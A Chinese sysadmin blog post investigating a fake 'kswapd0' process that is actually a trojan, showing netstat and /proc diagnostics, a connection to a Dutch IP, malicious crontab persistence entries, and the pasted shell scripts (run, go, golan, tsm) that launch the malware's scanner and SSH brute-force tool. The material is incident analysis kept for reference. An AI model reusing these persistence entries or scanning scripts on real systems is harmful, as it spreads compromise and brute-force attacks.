解决kswapd0占用cpu过高的问题

作者
2024-09-02阅读 4084

偶然间发现服务器的cup中其中两个核的使用率一直保持在100%,很不正常。

使用htop命令查看了一下,发现了一个叫kswapd0的服务导致的。

查了好多资料,大致上是两个原因

1、物理内存不足。但是我的服务器内存很充足

2、木马程序。检查了一下,出口流量,IP都整成

最终的解决方案:

直接kill掉了。cup降下来,并且没有影响正常的业务系统。

2020-12-14补充。

今天又出现了这个进程,系统又挂了

参照了文章,调查了以下自己电脑的情况

https://blog.csdn.net/TR946/article/details/106995806?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-5.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-5.nonecase

1、显示查看了进程

netstat -antlp
netstat -anltp|grep kswapd0

其中出现了

45.9.148.117:80         ESTABLISHED 32510/./kswapd0

2、查了这个ip:45.9.148.117,跟网上查到的大部分信息一致,这个ip是荷兰的

3、查看这个进程的运行文件

ls -s /proc/32510/exe

4、我找到这个了这个文件。期间尝试将文件保存到本地。不出所料,Windows Defendar立马报错,提示是木马

5、查看了定时任务,添加了好几条定时任务......

crontab -l -u erp
1 1 */2 * * /home/erp/.configrc/a/upd>/dev/null 2>&1
@reboot /home/erp/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/erp/.configrc/b/sync>/dev/null 2>&1
@reboot /home/erp/.configrc/b/sync>/dev/null 2>&1  
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

6、其中查看了/tmp/.X25-unix/.rsync/c/aptitude这个,没什么结果,没看出来是因为什么中的木马

7、把里面的一些文件我看了一下,给贴出来。供日后调查问题参考

[root@iZm5e2zhcmd961367cj3zyZ tmp]# vi /tmp/.X25-unix/.rsync/c/aptitude
[root@iZm5e2zhcmd961367cj3zyZ tmp]# vi /tmp/.X25-unix/.rsync/c/run 
[root@iZm5e2zhcmd961367cj3zyZ tmp]# ls /tmp/.X25-unix/.rsync/c
aptitude  dir.dir  go  golan  lib  n  run  slow  start  stop  tsm  tsm32  tsm64  v  watchdog
[root@iZm5e2zhcmd961367cj3zyZ tmp]# cd /tmp/.X25-unix/.rsync/c
[root@iZm5e2zhcmd961367cj3zyZ c]# ll
total 4980
-rwxrwxrwx 1 erp erp      55 Dec 14 00:12 aptitude
-rwxrwxrwx 1 erp erp      24 Dec 14 00:12 dir.dir
-rwxrwxrwx 1 erp erp     398 Mar 28  2020 go
-rwxrwxrwx 1 erp erp     216 Dec 23  2019 golan
drwxrwxrwx 4 erp erp    4096 Feb 24  2020 lib
-rwxrwxrwx 1 erp erp       2 Dec 14 00:12 n
-rwxrwxrwx 1 erp erp     489 Dec 24  2019 run
-rwxrwxrwx 1 erp erp      47 Apr 11  2019 slow
-rwxrwxrwx 1 erp erp     203 Nov 28  2019 start
-rwxrwxrwx 1 erp erp     995 Apr 11  2019 stop
-rwxrwxrwx 1 erp erp     309 Feb 24  2020 tsm
-rwxrwxrwx 1 erp erp 1893644 Mar 28  2020 tsm32
-rwxrwxrwx 1 erp erp 3150056 Mar 28  2020 tsm64
-rwxrwxrwx 1 erp erp       0 Dec 14 17:32 v
-rwxrwxrwx 1 erp erp     487 Apr 11  2019 watchdog

里面的run文件

#!/bin/bash
PR=1
PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l)

ARCH=`uname -m`
if [ "$ARCH" == "x86_64" ]; then
        if [ $PR -lt 7 ]; then
                sleep 15
                ./stop
                sleep 3
                RANGE=240
                s=$RANDOM
                let "s %= $RANGE"
                sleep $s
                #nohup ./golan >>/dev/null &
                #sleep 20m &&
                nohup ./go >>/dev/null &
        fi
        if [ $PR -gt 7 ]; then
                #sleep 15
                #./stop
                sleep 3
                #nohup ./golan >>/dev/null &
        fi
else
        #nohup ./golan >>/dev/null &
        #sleep 20m &&
        nohup ./go >>/dev/null &
fi

里面的go文件

#!/bin/bash
dir=`pwd`
cd $dir

threads=515

ARCH=`uname -m`
if [[ "$ARCH" =~ ^arm ]]; then
        threads=75
fi



                while :
                do
                touch v
                rm -rf p
                rm -rf ip
                rm -rf xtr*
                rm -rf a a.*
                rm -rf b b.*

                sleep $[ ( $RANDOM % 30 )  + 1 ]s
                timeout 3h ./tsm -t $threads -f 1 -s 12 -S 10 -p 0 -d 1 p ip

                sleep 3
                rm -rf xtr*
                rm -rf ip
                rm -rf p
                rm -rf .out
                rm -rf /tmp/t*
                done
exit 0

里面的golan

#!/bin/bash
dir=`pwd`
cd $dir

#timeout 15m ./tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168
#sleep 8m && timeout 15m ./tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16

里面的tsm文件

#!/bin/bash
SCRIPT_PATH=$(dirname $(readlink -f $0))
ARCH=`uname -m`
if [ "$ARCH" == "i686" ]; then
        $SCRIPT_PATH/lib/32/tsm --library-path $SCRIPT_PATH/lib/32/ $SCRIPT_PATH/tsm32 $*
elif [ "$ARCH" == "x86_64" ];   then
        $SCRIPT_PATH/lib/64/tsm --library-path $SCRIPT_PATH/lib/64/ $SCRIPT_PATH/tsm64 $*
fi



全部评论